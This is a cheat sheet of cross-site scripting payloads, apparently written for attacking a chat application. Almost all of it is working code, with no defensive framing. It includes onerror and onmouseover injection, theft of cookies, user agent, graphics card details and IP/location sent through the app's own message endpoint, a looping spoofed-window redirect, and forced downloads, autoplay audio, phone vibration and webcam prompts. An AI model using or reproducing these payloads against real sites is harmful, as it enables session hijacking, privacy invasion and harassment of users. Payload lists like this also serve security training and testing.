Normal Alert => onerror

```
<img src='' onerror="alert('xss')" />
<img src="javascript:javascript:alert(1);">
```

Onmouseover

```
<h1 onmouseover="alert('another one!!! 😊')">Hover here 😉</h1>
```

Change BG Color

```
<img src='' onerror="document.body.style.background='red'" />
```

Fetch

```
fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie))
```

Cookie

```
<h1 onmouseover="
   fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie));
   scrollToBottom();">
     Mouse Over
</h1>
```

UserAgent

```
<h1 onmouseover="
    fetch('saveChatData.php?sendOverGET=true&message=' + escape(navigator.userAgent));
    scrollToBottom();">
    Mouse Over
</h1>
```

HTML 2 Canvas

```
html2canvas(document.body).then(canvas => {
    document.body.appendChild(canvas)
});
```

GET Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?sendOverGET=true&message=' + escape(document.cookie);
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => { }
```

POST Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?messageSendReceive=true&message=' + escape(document.cookie);
Http.open(‘POST’, url);
Http.send();
Http.onreadystatechange = (e) => { }
```

Spoofed window (X)

```
function next() {
    window.location.replace('http://www.oracle.com/index.html?' + n); n++;
    setTimeout(next(), 15);
    setTimeout(next(), 25);
}
function f() {
    w = window.open('https://google.com', '_blank', 'width=500 height=500');
    i = setInterval(() => { try { x = w.location.href; } catch (e) {
       clearInterval(i); n = 0; next(); } }, 5000);
}
f();
```

Play Audio – Auto

```
    const a = document.createElement('audio');
    a.src = "voice.mp3";
    a.autoplay = true;
    a.style.display = 'none';
    document.body.appendChild(a);
            OR
    <audio src='voice.mp3' autoplay />
```

Geolocation

```
navigator.geolocation
  .getCurrentPosition(console.log, console.log);
//log latitude, longitude to console
```

Force Download

```
const link = document.createElement('a');
link.href = 'images/anon.jpg';
link.download = '';
document.body.appendChild(link);
link.click();
```

Vibrate Phone

```
window.navigator.vibrate(200); //vibrate for 200ms
window.navigator.vibrate([100, 30, 100, 30, 100, 30, 200, 30, 200, 30, 200, 30, 100, 30, 100, 30, 100]); //SOS message
<img src='images/hello.gif' onload="window.navigator.vibrate(100);" />
```

Graphics card info

```
<img src='images/hello.gif'
    onmouseover="
      const canvas = document.createElement('canvas');
      const gl = canvas.getContext('webgl');
      const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
      const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
      const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
      const message = vendor+renderer;
      fetch('saveChatData.php?sendOverGET=true&message='%2bescape(message));
    "
/>
```

Style Tag

```
      <style>body {background: red !important;}</style>
     <style>
       body {animation: anim .3s ease-in infinite alternate;}
       @keyframes anim {
           0% {background: rgba(0, 0, 0, .1);}
           30%{background: rgba(255, 0, 0, 1);}
           60%{background: rgba(0, 255, 0, 1);}
           90%{background: rgba(0, 0, 255, 1);}
       }
    </style>
```

Ask for Webcam permission (Over SSL)

```
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||
navigator.mozGetUserMedia || navigator.msGetUserMedia;

navigator.getUserMedia({ video: true },
                           (stream) => console.log("allowed"),
                           (stream) => console.log("fail")
                       );
```

Get user IP, Location, Operator

```
const Http = new XMLHttpRequest();
const url = 'getIP.php';
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => {
    fetch('saveChatData.php?sendOverGET=true&message=' + Http.responseText);
}
```

URL Encode	
space	%20
+	%2b
&	%26